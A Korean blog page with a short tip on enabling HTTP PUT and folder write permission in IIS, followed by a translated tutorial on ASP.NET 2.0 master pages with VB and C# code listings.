1) PUT방식을 사용하기 위한 수정방법은

IIS 환경설정부분에서 해당 가상 디렉터리의 속성(마우스 오른쪽 버튼을 누르면 있습니다)을 선택하신 후 디렉터리라는 탭을 선택하시고 아래부분의 구성을 누르시면 응용 프로그램 구성이 나옵니다

매핑탭을 선택 한 후 확장명이 .cs가 있는지 확인 하시고 만약 없다면 새로 생성해주시구요

아래 이미지같이 추가해 주시면 됩니다. 일반적으로 PUT이라는 게 없죠..

그리고 혹시나 각 .NetFrameWork 버젼마다 aspnet_isapi.dll 파일 위치가 다르니 확인하세요

서버군은 C:\WINDOWS가 아닌 C:\WINNT~ 이렇게 되겠죠 ^^

(원래 말로 설명하려 했는데 설명이 조잡해서 이미지 캡쳐 떴습니다)

 

2. 파일쓰기 권한은

아래 이미지의 중간부분에 쓰기(W)를 체크해주시면 되는데 여기서 해당파일을 업로드 할 폴더를 선택하신 후 속성에서 쓰기 권한을 주세요

그렇지 않으면 다른 폴더까지 권한이 주어지니까요..

 

아래 이미지는 가로 사이즈가 550을 넘어서 깨지니 클릭을 하신 후 큰 화면으로 보세요~~~

Posted by tornado
|

ASP.NET 2.0의 마스터 페이지

Stephen Walther
Superexpert

2004년 8월

적용 대상:
   Microsoft ASP.NET 2.0

요약: 마스터 페이지에서는 일관된 주제와 스타일을 따르는 ASP.NET 페이지를 만들 수 있습니다. Stephen Walther기 이 새로운 기능을 활용하는 방법을 설명합니다(27페이지/인쇄 페이지 기준).

목차

소개
마스터 페이지 및 콘텐츠 페이지
간단한 마스터 페이지 만들기
간단한 콘텐츠 페이지 만들기
사이트 탐색 기능이 있는 마스터 페이지 만들기
여러 마스터 페이지 중첩
마스터 페이지 구성
마스터 페이지 속성 재정의
페이지 제목 특성 사용
HTML 헤더 특성 재정의
마스터 페이지에서 속성 및 메서드 제공
동적으로 마스터 페이지 로드
결론
관련 서적

소개

Microsoft ASP.NET 2.0의 새 기능인 마스터 페이지를 사용하면 웹 응용 프로그램에서 같은 페이지 레이아웃을 여러 콘텐츠 페이지에 적용할 수 있습니다. 또한 일관성 있는 모양과 느낌의 웹 사이트를 만드는 것이 쉬워집니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

대부분의 웹 응용 프로그램 페이지에는 로고, 탐색 메뉴, 저작권 표시 등의 표준 요소가 있습니다. 이러한 모든 요소를 단일 마스터 페이지에 배치할 수 있습니다. 이 마스터 페이지를 기반으로 하여 응용 프로그램 콘텐츠 페이지를 만들면 모든 콘텐츠 페이지에 동일한 표준 요소가 자동으로 포함됩니다.

이 기사에서는 마스터 페이지를 활용하여 표준 페이지 레이아웃을 만드는 방법을 알아봅니다. 또한 마스터 페이지의 몇 가지 고급 기능에 대해서도 살펴봅니다. 예를 들어 콘텐츠 페이지에서 페이지 제목 및 메타 태그와 같은 헤더 속성을 수정하는 방법을 설명하고, 실행 중에 여러 마스터 페이지를 동적으로 로드하는 방법도 설명합니다.

마스터 페이지 및 콘텐츠 페이지

먼저, 간단한 마스터 페이지를 만들어 보겠습니다. 메모장을 사용하여 마스터 페이지를 만들 수도 있고 Microsoft Visual Web Developer의 디자이너 지원 기능을 활용하여 마스터 페이지를 만들 수도 있습니다(그림 1 참조). Visual Web Developer를 사용하여 마스터 페이지를 만드는 것이 더 재미있지만, 이 기사에서는 Visual Web Developer를 사용하지 않습니다.

그림 1. 마스터 페이지에 대한 디자이너 지원

간단한 마스터 페이지 만들기

일반 ASP.NET 페이지를 만드는 것과 같은 방법으로 마스터 페이지를 만듭니다. 마스터 페이지에는 표준 ASP.NET 페이지에 추가하는 것과 동일한 Web 컨트롤, User 컨트롤, HTML 콘텐츠 및 스크립트를 포함할 수 있습니다. 그러나 마스터 페이지와 일반 ASP.NET 페이지 간에는 세 가지의 중요한 차이점이 있습니다.

첫째로, 일반 ASP.NET 페이지와 달리 마스터 페이지의 이름은 특수한 확장명인 .master로 끝나야 합니다. 이 확장명은 해당 페이지가 마스터 페이지임을 나타냅니다. 또한 ASP.NET 응용 프로그램은 확장명이 .master인 페이지를 요청할 수 없도록 구성되므로 마스터 페이지를 직접 요청할 수 없습니다. 대신, 마스터 페이지를 기반으로 하는 콘텐츠 페이지를 요청합니다.

둘째로, 마스터 페이지에는 일반 <%@ Page %> 지시문 대신 <%@ Master %> 지시문이 포함됩니다. <%@ Master %> 지시문은 <%@ Page %> 지시문과 동일한 특성을 대부분 지원합니다. 예를 들어 <%@ Master Language="vb" %> 지시문을 사용하여 페이지의 프로그래밍 언어를 지정할 수 있습니다.

마스터 페이지와 일반 ASP.NET 페이지 간의 세 번째 차이점은 마스터 페이지에 ContentPlaceHolder 컨트롤을 포함하지 않을 수도 있고 여러 개 포함할 수도 있다는 점입니다. 마스터 페이지에서만 ContentPlaceHolder 컨트롤을 사용할 수 있습니다. 이 컨트롤은 특정 콘텐츠 페이지에서 재지정할 수 있는 마스터 페이지의 영역을 표시합니다.

목록 1의 마스터 페이지 Simple.master에는 두 개의 ContentPlaceHolder 컨트롤이 있는 HTML 테이블이 포함되어 있습니다.

목록 1. Simple.master

<%@ Master %><html><head>    <title>Simple Master Page</title></head><body><form id="form1" runat="server"><table width="100%"><tr>    <td>    <asp:ContentPlaceHolder         id="ContentPlaceHolder1"         runat="server"  />    </td>    <td>    <asp:ContentPlaceHolder         id="ContentPlaceHolder2"         runat="server"  />    </td></tr></table></form></body></html>

목록 1의 마스터 페이지에는 ContentPlaceHolder1ContentPlaceHolder2의 두 ContentPlaceHolder 컨트롤이 있습니다. 이 두 컨트롤은 특정 콘텐츠 페이지의 경우에 수정할 수 있는 마스터 페이지의 영역을 표시합니다. Visual Web Developer 디자이너에서 목록 1의 마스터 페이지를 열면 그림 2의 페이지가 나타납니다.

그림 2. Simple.master 마스터 페이지

목록 1의 마스터 페이지에는 표준 HTML 여는 태그가 포함되어 있습니다. 예를 들어 여기에는 HTML <title> 및 <body> 태그가 있습니다. 일반적으로 이러한 표준 태그를 마스터 페이지에 포함합니다. 이 기사의 뒷부분에 있는 "마스터 페이지 속성 재정의" 섹션에서 특정 콘텐츠 페이지의 제목을 변경하는 방법을 설명하겠습니다.

마스터 페이지에는 서버 쪽 <form> 태그도 포함되어 있습니다. ASP.NET 페이지에서는 서버 쪽 <form> 태그를 하나만 사용할 수 있으므로, 대부분의 경우 이 태그를 마스터 페이지에 포함합니다.

간단한 콘텐츠 페이지 만들기

마스터 페이지를 만든 후에는 이 마스터 페이지를 기반으로 하나 이상의 콘텐츠 페이지를 만들 수 있습니다. 콘텐츠 페이지는 웹 브라우저에서 요청하는 실제 페이지입니다. 콘텐츠 페이지의 확장명은 일반 ASP.NET 파일과 같은 .aspx입니다. 다음의 두 가지 주요 예외를 제외하면 콘텐츠 페이지는 일반 ASP.NET와 유사합니다.

첫째로, 콘텐츠 페이지의 모든 콘텐츠는 Content 컨트롤에 포함해야 합니다. Content 컨트롤은 콘텐츠 페이지의 콘텐츠 영역을 마스터 페이지에서 ContentPlaceHolder 컨트롤이 표시한 콘텐츠 영역에 매핑하는 데 사용됩니다.

둘째로, 콘텐츠 페이지를 마스터 페이지에 연결해야 합니다. <%@ Page %> 지시문의 특성을 사용하여 콘텐츠 페이지를 마스터 페이지에 연결할 수 있습니다. 웹 구성 파일을 사용하여 여러 콘텐츠 페이지를 마스터 페이지에 연결할 수도 있습니다.

예를 들어 목록 2의 콘텐츠 페이지에 있는 두 개의 Content 컨트롤은 목록 1의 마스터 페이지에 있는 ContentPlaceHolder 컨트롤에 해당합니다.

목록 2. Simple.aspx

<%@ Page MasterPageFile="~/Simple.master" %><asp:Content     ID="Content1"     ContentPlaceHolderID="ContentPlaceHolder1"     Runat="server">    Content in Left Column</asp:Content><asp:Content     ID="Content2"     ContentPlaceHolderID="ContentPlaceHolder2"     Runat="server">    Content in Right Column</asp:Content>

목록 2에 있는 콘텐츠 페이지의 <%@ Page %> 지시문에는 MasterPageFile 특성이 포함되어 있습니다. 이 특성은 콘텐츠 페이지를 목록 1의 마스터 페이지에 연결합니다.

Content 컨트롤에는 모두 여는 태그와 닫는 태그 사이에 텍스트가 있습니다. 이러한 경우 Content 컨트롤에는 단순히 텍스트만 포함됩니다. 그러나 Web 컨트롤 및 User 컨트롤을 비롯하여 Content 컨트롤 내에 원하는 콘텐츠를 얼마든지 추가할 수 있습니다.

Visual Web Developer에서 콘텐츠 페이지를 편집하면 다른 작업 중에 마스터 페이지가 복제됩니다(그림 3 참조). Visual Web Developer는 마스터 페이지에서 각 ContentPlaceHolder에 해당하는 Content 컨트롤을 자동으로 추가합니다.

그림 3. Visual Web Developer에서 콘텐츠 페이지 편집

사이트 탐색 기능이 있는 마스터 페이지 만들기

이전 섹션에서 설명한 마스터 페이지와 콘텐츠 페이지는 매우 단순합니다. 실제로는 메뉴 모음이나 사이트 이동 경로(bread crumb trail)와 같은 표준 탐색 요소를 마스터 페이지에 추가할 수 있습니다. 이 섹션에서는 보다 많은 내용이 들어 있는 마스터 페이지를 만드는 과정을 살펴봅니다(그림 4 참조).

그림 4. 보다 복잡한 마스터 페이지

이 마스터 페이지에는 SiteMapPath 컨트롤 및 탐색용 Menu 컨트롤이 포함됩니다. SiteMapPath 컨트롤은 사이트 이동 경로(bread crumb trail)를 표시하고 Menu 컨트롤은 탐색 메뉴를 표시합니다. 두 컨트롤 모두 목록 3의 SiteMap 파일을 사용합니다.

목록 3. web.sitemap

<?xml version="1.0" encoding="utf-8"?><siteMap>    <siteMapNode url="~/Default.aspx" title="Home">   <siteMapNode url="~/Products.aspx" title="Products"/>   <siteMapNode url="~/Services.aspx" title="Services"/>    </siteMapNode></siteMap>

목록 3의 SiteMap 파일은 Home 페이지, Products 페이지 및 Services 페이지의 세 노드를 정의합니다. 각 노드에는 URL 및 제목 특성이 지정되어 있습니다. 목록 4의 마스터 페이지에서는 SiteMapPathMenu 컨트롤에 이 파일을 활용합니다.

목록 4. NavMaster.master

<%@ Master %><html><head>    <title>NavMaster</title></head><body>    <form id="form1" runat="server">        <table             width="100%"            border="0"            cellpadding="5">        <tr>            <td colspan="2">            <asp:Image                 id="Image1"                ImageUrl="~/Logo.gif" Runat="Server" />            </td>        </tr>        <tr bgcolor="lightblue">            <td colspan="2">            <asp:SiteMapPath                 id="SiteMapPath1"                 Runat="Server" />                         </td>        </tr>        </table>        <table width="100%" cellpadding="10" border="0">        <tr>            <td valign="top" width="100" bgcolor="#eeeeee">            <asp:Menu                 id="Menu"                 Runat="Server"                 DataSourceID="SiteMapDataSource1"                 StaticDisplayLevels="2" />            </td>            <td valign="top">            <asp:contentplaceholder                 id="ContentColumn"                 runat="server"  />            </td>            <td valign="top" width="100" bgcolor="#eeeeee">            <asp:ContentPlaceHolder                 id="AdColumn"                 runat="server" >                <asp:Image                    ID="Ad1"                     ImageUrl="Ad1.gif"                    Runat="Server" />                <br />                <asp:Image                    ID="Ad2"                      ImageUrl="Ad2.gif"                    Runat="Server" />            </asp:ContentPlaceHolder>            </td>        </tr>        </table>        <small>All contents copyright ⓒ   2004 by Microsoft Hair Stylists</small>        <asp:SiteMapDataSource ID="SiteMapDataSource1"   Runat="server" />    </form></body></html>

목록 4의 마스터 페이지에는 두 개의 ContentPlaceHolder 컨트롤이 포함되어 있습니다. 첫 번째 ContentPlaceHolder 컨트롤은 주 페이지 콘텐츠의 자리 표시자로 사용되며 두 번째 ContentPlaceHolder 컨트롤은 콘텐츠를 광고하는 자리 표시자로 사용됩니다.

두 번째 ContentPlaceHolder 컨트롤에는 기본 콘텐츠가 포함됩니다. 여기에는 배너 광고를 표시하는 데 사용되는 Image 컨트롤이 포함됩니다(그림 5 참조). 특정 콘텐츠 페이지에서 이 기본 콘텐츠를 재정의할 수 있습니다.

그림 5. NavMaster.master 마스터 페이지

마지막으로, 목록 5의 콘텐츠 페이지는 NavMaster.master 마스터 페이지를 기반으로 합니다(그림 6 참조). 이 페이지에는 마스터 페이지의 주 콘텐츠 영역 콘텐츠가 들어 있는 Content 컨트롤이 한 개 있습니다.

그림 6. Products.aspx 페이지

목록 5. Products.aspx

<%@ Page MasterPageFile="~/NavMaster.master" %><asp:Content     ID="Content1"     ContentPlaceHolderID="ContentColumn"     Runat="server">    This is the Products.aspx page</asp:Content>

여러 마스터 페이지 중첩

지금까지 단일 마스터 페이지를 만들고 이 마스터 페이지를 기반으로 콘텐츠 페이지를 만드는 방법을 살펴보았습니다. 단일 웹 사이트에는 여러 마스터 페이지가 포함될 수 있습니다. 예를 들어 웹 사이트에서 뚜렷하게 구분되는 섹션에 대해 다른 마스터 페이지를 만들 수 있습니다.

필요한 경우에는 여러 마스터 페이지를 중첩할 수도 있습니다. 예를 들어 전체 웹 사이트의 마스터 페이지를 하나 만들고 이 사이트 마스터 페이지에 개별 섹션의 마스터 페이지를 중첩할 수 있습니다. Visual Web Developer에서는 이러한 작업을 위한 디자이너 지원을 제공하지 않습니다. 그러므로 마스터 페이지를 중첩하려면 소스 코드 보기에서 작업하거나 메모장을 사용하여 페이지를 만들어야 합니다.

예를 들어 목록 6의 페이지를 Site Master Page에 사용할 수 있습니다. 이 마스터 페이지에는 여는 HTML 태그 및 닫는 HTML 태그, Form 태그 및 단일 ContentPlaceHolder 컨트롤이 포함되어 있습니다.

목록 6. SiteMaster.master

<%@ Master %><html><head>    <title>Site Master</title></head><body bgcolor="LightGreen">    <form id="form1" runat="server">        <h1>Site Master Page</h1>        <asp:contentplaceholder             id="SiteContentPlaceHolder"             runat="server"  />    </form></body></html>

목록 7의 페이지는 중첩된 마스터 페이지입니다. 이 마스터 페이지는 Site Master Page의 콘텐츠를 재정의합니다. <%@ Master %> 지시문은 SiteMaster.master 마스터 페이지를 참조합니다.

목록 7. SectionMaster.master

<%@ Master  MasterPageFile="~/SiteMaster.master" %><asp:content    ContentPlaceHolderID="SiteContentPlaceHolder"     runat="server" >        <table width="100%" bgcolor="LightYellow">    <tr>        <td colspan="2">        <h1>Section Master Page</h1>        </td>    </tr>    <tr>        <td>        <asp:ContentPlaceHolder               id="LeftColumn"            Runat="Server" />                     </td>        <td>        <asp:ContentPlaceHolder               id="RightColumn"            Runat="Server" />             </td>    </tr>    </table>    </asp:content>

마지막으로, 목록 8의 콘텐츠 페이지는 Section Master Page를 기반으로 합니다. 이 페이지는 Section Master Page에 중첩된 두 ContentPlaceHolder 컨트롤을 재정의합니다.

목록 8. NestedMasters.aspx

<%@ Page MasterPageFile="~/SectionMaster.master" %><asp:Content        ContentPlaceHolderId="LeftColumn"    Runat="Server">    This content appears in the left column</asp:Content><asp:Content       ContentPlaceHolderId="RightColumn"    Runat="Server">    This content appears in the right column</asp:Content>

모든 작업을 수행하고 나면 그림 7의 페이지가 렌더링됩니다. Site Master Page 및 Site Master Page의 콘텐츠가 병합되어 최종 콘텐츠 페이지가 생성됩니다. Site Master Page의 콘텐츠는 녹색으로 표시되고 Section Master page의 콘텐츠는 노란색으로 표시됩니다.

그림 7. 중첩된 마스터 페이지

마스터 페이지 구성

<%@ Page %> 지시문을 사용하여 콘텐츠 페이지를 마스터 페이지에 연결하는 대신, 웹 응용 프로그램의 구성 파일에서 마스터 페이지를 콘텐츠 페이지에 연결할 수 있습니다. 구성 파일을 사용하면 한 위치에서 여러 콘텐츠 페이지에 연결된 마스터 페이지를 변경할 수 있기 때문에 규모가 큰 웹 사이트를 보다 쉽게 관리할 수 있습니다.

구성 파일의 <pages> 요소에서 마스터 페이지를 설정합니다. 이 요소는 구성 파일의 <system.web> 섹션에 나타납니다. 예를 들어 다음 <pages> 요소는 "SuperMaster.master"를 기본 마스터 페이지로 설정합니다.

<pages masterPageFile="SuperMaster.master" />

구성 파일에서 마스터 페이지를 할당할 때는 두 가지 사항을 알아 두어야 합니다. 첫째로, 콘텐츠 페이지에서 설정한 마스터 페이지가 구성 파일에서 설정한 마스터 페이지보다 우선합니다. 그러므로 Web.Config 파일을 사용하여 마스터 페이지를 설정하려면 콘텐츠 페이지에 MasterPageFile 특성을 포함하지 않아야 합니다.

둘째로, 응용 프로그램은 각각 다른 마스터 페이지를 설정하는 서로 다른 하위 폴더에 있는 Web.Config 파일 두 개 이상을 포함할 수 있습니다. 즉, 새 Web.Config 파일을 만들어 하위 폴더에 있는 Web.Config 파일에서 설정된 마스터 페이지를 재정의할 수 있습니다.

마스터 페이지 속성 재정의

마스터 페이지 작업을 시작한 직후에 발생할 수 있는 한 가지 문제점은 개별 콘텐츠 페이지에서 마스터 페이지의 페이지 제목 및 메타 태그와 같은 속성을 재정의하는 방법입니다. 일반적으로, 같은 마스터 페이지를 기반으로 개별 콘텐츠 페이지를 만들었더라도 각 콘텐츠 페이지마다 고유한 제목을 표시합니다.

특정 콘텐츠 페이지에서 마스터 페이지에 포함된 콘텐츠를 재정의하는 방법에는 여러 가지가 있습니다. 이 섹션에서는 이러한 방법에 대해 설명하겠습니다.

페이지 제목 특성 사용

마스터 페이지에서 렌더링된 페이지 제목을 콘텐츠 페이지에서 변경하기만 하려는 경우에는 <%@ Page %> 지시문의 Title 특성을 사용할 수 있습니다. 이 특성은 마스터 페이지에서 서버 쪽 HtmlHead 컨트롤을 사용할 때만 적용됩니다.

예를 들어 목록 9의 마스터 페이지에는 서버 쪽 HtmlHead 컨트롤이 포함되어 있습니다.

목록 9. TitleMaster.master

<%@ Master %><html><head runat="server">    <title>Master Title</title></head><body>    <form id="form1" runat="server">    <asp:contentplaceholder         id="ContentPlaceHolder1"         runat="server"  />    </form></body></html>

목록 9의 <head> 태그에는 runat="server" 특성이 있습니다. 이 특성은 <head> 태그를 서버 쪽 HtmlHead 컨트롤로 변환합니다.

목록 10의 콘텐츠 페이지는 페이지 제목을 재정의합니다. 이 페이지 맨 위에 있는 <%@ Page %> 지시문에는 해당 Title 특성 값이 있습니다. 페이지가 렌더링될 때 페이지 제목으로 "Content Page Title"이 표시됩니다.

목록 10. TitleContent.aspx

<%@ Page MasterPageFile="~/TitleMaster.master" Title="Content Page Title" %><asp:Content    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">        Here is some content    </asp:Content>

HTML 헤더 특성 재정의

메타 태그나 스타일 태그 등 HTML 헤더의 다른 특성을 재정의해야 하는 경우 콘텐츠 페이지에서 직접 HtmlHead 요소를 참조할 수 있습니다. HtmlHead 컨트롤은 IPageHeader 인터페이스를 구현합니다. 여기에는 다음 속성이 포함됩니다.

  • LinkedStyleSheets-HTML 페이지에 연결된 외부 스타일시트입니다.
  • Metadata-메타데이터 태그의 컬렉션입니다.
  • StyleSheet-HTML 페이지에 적용된 스타일을 나타냅니다.
  • Title-HTML 페이지의 제목입니다.

콘텐츠 페이지에서 이러한 속성을 수정할 수 있습니다. 예를 들어 목록 11의 마스터 페이지에는 콘텐츠 페이지에서 재정의할 수 있는 서버 쪽 HtmlHead 컨트롤이 있습니다.

목록 11. HeaderMaster.master

<%@ Master %><html><head runat="server">    <title>Master Title</title></head><body>    <form id="form1" runat="server">    <asp:contentplaceholder         id="ContentPlaceHolder1"         runat="server"  />    </form></body></html>

목록 12의 콘텐츠 페이지는 HtmlHead 컨트롤의 TitleMetadata 속성을 수정하여 사용자 지정 콘텐츠를 표시합니다.

목록 12. HeaderContent.aspx(Microsoft Visual Basic .NET)

<%@ Page Language="VB" MasterPageFile="~/HeaderMaster.master" %><script runat="server">    Sub Page_Load()        Master.Page.Header.Title = "Content Title"        Master.Page.Header.Metadata.Add("Keywords", "blah,blah")        Master.Page.Header.Metadata.Add("Description", "blah,blah")    End Sub    </script><asp:Content    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">        Here is some content        </asp:Content> 

목록 12. HeaderContent.aspx(c#)

<%@ Page Language="c#" MasterPageFile="~/HeaderMaster.master" %><script runat="server">    void Page_Load() {        Master.Page.Header.Title = "Content Title";        Master.Page.Header.Metadata.Add("Keywords", "blah,blah");        Master.Page.Header.Metadata.Add("Description", "blah,blah");    }    </script><asp:Content ID="Content1"    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">        Here is some content        </asp:Content>

Page 개체의 Master 속성은 콘텐츠 페이지의 마스터 페이지를 참조합니다. 원하는 경우에는 Master 대신 Page.Master를 사용할 수도 있습니다. Header 속성은 HtmlHead 요소를 참조합니다. 목록 12의 콘텐츠 페이지는 HtmlHead 컨트롤의 TitleMetadata 속성을 수정합니다.

마스터 페이지에서 속성 및 메서드 제공

마스터 페이지의 콘텐츠를 더 상세히 조정해야 할 경우 마스터 페이지에서 속성 및 메서드를 제공할 수 있습니다. 마스터 페이지에서 제공한 공용 속성을 콘텐츠 페이지에서 수정할 수 있으며, 마스터 페이지에서 제공한 공용 메서드를 콘텐츠 페이지에서 호출할 수 있습니다.

예를 들어 콘텐츠 페이지에서 마스터 페이지 바닥글의 콘텐츠를 수정할 수 있습니다. 목록 13의 마스터 페이지는 Footer라는 공용 속성을 제공합니다.

목록 13. FooterMaster.master(Visual Basic .NET)

<%@ Master Language="VB" %><script runat="server">    Private _footer As String        Public Property Footer() As String        Get            Return _footer        End Get        Set(ByVal value As String)            _footer = value        End Set    End Property    </script><html><head runat="server">    <title>Footer Master</title></head><body>    <form id="form1" runat="server">    <asp:contentplaceholder         id="ContentPlaceHolder1"         runat="server"  />    <br />    <small><%= _footer %></small>    </form></body></html>

목록 13. FooterMaster.master(C#)

<%@ Master Language="C#" %><script runat="server">    private string _footer;        public string Footer {        get {            return _footer;        }        set {            _footer = value;        }    }    </script><html><head id="Head1" runat="server">    <title>Footer Master</title></head><body>    <form id="form1" runat="server">    <asp:contentplaceholder         id="ContentPlaceHolder1"         runat="server"  />    <br />    <small><%= _footer %></small>    </form></body></html>

목록 13에서 공용 Footer 속성은 _footer라는 개인 필드를 수정합니다. 개인 _footer 필드는 인라인 식 <%= _footer %>를 사용하여 마스터 페이지의 맨 아래에 표시됩니다.

목록 14의 콘텐츠 페이지는 Footer 속성을 설정합니다. Footer 속성은 Page 개체의 Master 속성에 의해 제공됩니다. 일반적으로 Master 속성은 MasterPage 개체를 나타냅니다. 그러나 이 콘텐츠 페이지에는 Master 속성 값을 FooterMaster 개체로 캐스팅하는 <%@ MasterType %> 지시문이 포함됩니다.

목록 14. FooterContent.aspx(Visual Basic .NET)

<%@ Page Language="VB" MasterPageFile="~/FooterMaster.master" %><%@ MasterType VirtualPath="~/FooterMaster.master" %><script runat="server">    Sub Page_Load()        Master.Footer = "Custom Page Footer"    End Sub    </script><asp:Content    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">    Here is some content    </asp:Content>

목록 14. FooterContent.aspx(C#)

<%@ Page Language="C#" MasterPageFile="~/FooterMaster.master" %><%@ MasterType VirtualPath="~/FooterMaster.master" %><script runat="server">    void Page_Load() {        Master.Footer = "Custom Page Footer";    }    </script><asp:Content ID="Content1"    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">    Here is some content    </asp:Content>

마스터 페이지에서 속성과 메서드를 제공하여 마스터 페이지의 렌더링 관련 항목을 수정할 수 있습니다.

동적으로 마스터 페이지 로드

이 마지막 섹션에서는 마스터 페이지의 고급 응용 프로그램에 대해 살펴봅니다. 또한 실행 중에 여러 마스터 페이지를 동적으로 로드하는 방법도 설명합니다.

마스터 페이지를 동적으로 로드하는 것이 유용한 경우가 두 가지 있습니다. 우선, 사용자의 웹 사이트에서 하나 이상의 파트너 웹 사이트와 공동 상표를 사용해야 하는 경우가 있습니다. 파트너 구성원이 파트너 웹 사이트에서 사용자의 웹 사이트에 연결하는 경우 파트너 웹 사이트의 모양 및 느낌과 일치하는 마스터 페이지를 자동으로 로드할 수 있습니다.

마스터 페이지를 동적으로 로드하는 두 번째 경우는 응용 프로그램 사용자가 페이지 레이아웃을 선택할 수 있도록 하는 경우입니다. 이 경우 사용자에게 표준 마스터 페이지 집합을 제공할 수 있습니다. 그러면 응용 프로그램 사용자는 원하는 마스터 페이지를 선택하여 원하는 페이지 레이아웃을 선택할 수 있습니다.

Page 개체의 MasterPageFile 속성에 값을 할당하여 마스터 페이지를 동적으로 로드할 수 있습니다. 이 속성에 할당된 값은 유효한 마스터 페이지 파일의 상대 경로여야 합니다.

MasterPageFile 속성을 사용할 때 주의해야 할 중요한 제한 사항이 있습니다. Page PreInit 이벤트 전이나 이벤트 동안에만 이 속성에 값을 할당할 수 있습니다. PreInit는 페이지 실행 주기에서 첫 번째 이벤트입니다. Page Load 이벤트 등 나중에 발생하는 이벤트 동안 이 속성에 값을 할당하면 예외가 발생합니다. 마스터 페이지에 따라 서로 다른 컨트롤 집합이 페이지에 로드되기 때문입니다.

목록 15의 콘텐츠 페이지는 MasterPageFile 속성을 사용하여 실행 중에 서로 다른 마스터 페이지를 동적으로 로드합니다.

목록 15. DynamicContent.aspx(Visual Basic .NET)

<%@ Page Language="VB" MasterPageFile="~/DynamicMaster1.master" %><script runat="server">        Sub Page_PreInit(ByVal sender As Object, ByVal e As EventArgs)        MasterPageFile = Profile.Master    End Sub</script><asp:Content    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">    Here is the content</asp:Content> 

목록 15. DynamicContent.aspx(C#)

<%@ Page Language="c#" MasterPageFile="~/DynamicMaster1.master" %><script runat="server">        void Page_PreInit(Object sender, EventArgs e) {        MasterPageFile = Profile.Master;    }</script><asp:Content ID="Content1"    ContentPlaceHolderID="ContentPlaceHolder1"    Runat="Server">    Here is the content</asp:Content>

목록 15에서 마스터 페이지는 PreInit 이벤트에서 동적으로 로드됩니다. 이 경우 마스터 페이지 파일의 경로는 사용자의 프로필에서 로드됩니다. 프로필을 사용하여 사용자와 관련된 정보를 영구적으로 저장할 수 있습니다. 이 방법을 사용하면 응용 프로그램에서 사용자가 페이지 간을 이동할 때 사용자가 선택한 마스터 페이지가 손실되지 않습니다.

사용자 프로필을 사용하려면 다음 구성 설정을 응용 프로그램 Web.Config 파일의 <system.web> 섹션에 추가해야 합니다.

<anonymousIdentification enabled="true" />      <profile> <properties>    <add    name="Master"     allowAnonymous="true"    defaultValue="DynamicMaster1.master" /> </properties> </profile>

이 설정은 익명 사용자와 인증된 사용자가 모두 사용할 수 있는 Master라는 새 Profile 속성을 만듭니다.

목록 15의 콘텐츠 페이지는 DynamicMaster1.master와 DynamicMaster2.master라는 두 마스터 페이지 중 하나를 로드합니다. DynamicMaster1.master의 소스 코드는 목록 16에 있고, DynamicMaster2.master의 소스 코드는 목록 17에 있습니다. 두 마스터 파일은 이름과 배경색이 다르다는 점을 제외하고는 동일합니다.

목록 16. DynamicMaster1.master(Visual Basic .NET)

<%@ Master Language="vb" %><script runat="server">    Sub Page_Load()        If Not IsPostBack Then            dropMaster.SelectedValue = Profile.Master        End If    End Sub        Sub SelectMaster(ByVal s As Object, ByVal e As EventArgs)        Profile.Master = dropMaster.SelectedValue        Response.Redirect(Request.Path)    End Sub    </script><html><head>    <title>Dynamic Master 1</title></head><body bgcolor="LightYellow"><form runat="server"><h1>Dynamic Master 1</h1><p><asp:DropDownList     id="dropMaster"    AutoPostBack="true"    OnSelectedIndexChanged="SelectMaster"     ValidationGroup="Master"     Runat="Server">    <asp:ListItem Text="Dynamic 1" value="DynamicMaster1.master" />    <asp:ListItem Text="Dynamic 2" value="DynamicMaster2.master" /></asp:DropDownList></p><asp:contentplaceholder     id="ContentPlaceHolder1"     runat="server"  /></form></body></html>

목록 16. DynamicMaster1.master(C#)

<%@ Master Language="c#" %><script runat="server">        void Page_Load() {        if (!IsPostBack)            dropMaster.SelectedValue = Profile.Master;        }        void SelectMaster(Object s, EventArgs e) {        Profile.Master = dropMaster.SelectedValue;        Response.Redirect(Request.Path);    }    </script><html><head>    <title>Dynamic Master 1</title></head><body bgcolor="LightYellow"><form id="Form1" runat="server"><h1>Dynamic Master 1 CS</h1><p><asp:DropDownList     id="dropMaster"    AutoPostBack="true"    OnSelectedIndexChanged="SelectMaster"     ValidationGroup="Master"     Runat="Server">    <asp:ListItem Text="Dynamic 1" value="DynamicMaster1.master" />    <asp:ListItem Text="Dynamic 2" value="DynamicMaster2.master" /></asp:DropDownList></p><asp:contentplaceholder     id="ContentPlaceHolder1"     runat="server"  /></form></body></html>

목록 17. DynamicMaster2.master(Visual Basic .NET)

<%@ Master Language="vb" %><script runat="server">    Sub Page_Load()        If Not IsPostBack Then            dropMaster.SelectedValue = Profile.Master        End If    End Sub        Sub SelectMaster(ByVal s As Object, ByVal e As EventArgs)        Profile.Master = dropMaster.SelectedValue        Response.Redirect(Request.Path)    End Sub    </script><html><head>    <title>Dynamic Master 2</title></head><body bgcolor="LightGreen"><form id="Form1" runat="server"><h1>Dynamic Master 2</h1><p><asp:DropDownList     id="dropMaster"    AutoPostBack="true"    OnSelectedIndexChanged="SelectMaster"     ValidationGroup="Master"    Runat="Server">    <asp:ListItem Text="Dynamic 1" value="DynamicMaster1.master" />    <asp:ListItem Text="Dynamic 2" value="DynamicMaster2.master" /></asp:DropDownList></p><asp:contentplaceholder     id="ContentPlaceHolder1"     runat="server"  /></form></body></html>

목록 17. DynamicMaster2.master(C#)

<%@ Master Language="c#" %><script runat="server">        void Page_Load() {        if (!IsPostBack)            dropMaster.SelectedValue = Profile.Master;        }        void SelectMaster(Object s, EventArgs e) {        Profile.Master = dropMaster.SelectedValue;        Response.Redirect(Request.Path);    }    </script><html><head>    <title>Dynamic Master 2</title></head><body bgcolor="LightGreen"><form id="Form1" runat="server"><h1>Dynamic Master 2 CS</h1><p><asp:DropDownList     id="dropMaster"    AutoPostBack="true"    OnSelectedIndexChanged="SelectMaster"     ValidationGroup="Master"    Runat="Server">    <asp:ListItem Text="Dynamic 1" value="DynamicMaster1.master" />    <asp:ListItem Text="Dynamic 2" value="DynamicMaster2.master" /></asp:DropDownList></p><asp:contentplaceholder     id="ContentPlaceHolder1"     runat="server"  /></form></body></html>

